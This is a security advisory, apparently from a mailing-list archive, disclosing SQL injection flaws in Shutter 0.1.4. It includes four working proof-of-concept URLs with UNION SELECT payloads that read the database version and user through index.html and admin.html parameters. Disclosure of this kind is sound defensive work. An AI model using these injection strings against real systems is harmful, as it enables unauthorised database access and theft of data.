[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22967: Multiple SQL Injection in Shutter



Vulnerability ID: HTB22967
Reference: http://www.htbridge.ch/advisory/sql_injection_in_shutter.html
Product: Shutter
Vendor: http://shutter.tenfourzero.net/ ( http://shutter.tenfourzero.net/ ) 
Vulnerable Version: 0.1.4
Vendor Notification: 19 April 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in "index.html" script to properly sanitize user-supplied input. 
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
Attacker can use browser to exploit this vulnerability. The following PoC is available:


http://[host]/index.html?a=rss.xml&albumID=1%2B99%20union%20select%20%20version%28%29


The vulnerability exists due to failure in "admin.html" script to properly sanitize user-supplied input. 
Attacker can use browser to exploit this vulnerability. The following PoC is available:


http://[host]/admin.html?albumID=123%20union%20select%20version%28%29,user%28%29,3
http://[host]/admin.html?commentID=123%20union%20select%201,version%28%29,user%28%29,4
http://[host]/admin.html?albumID=1&photoID=123%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13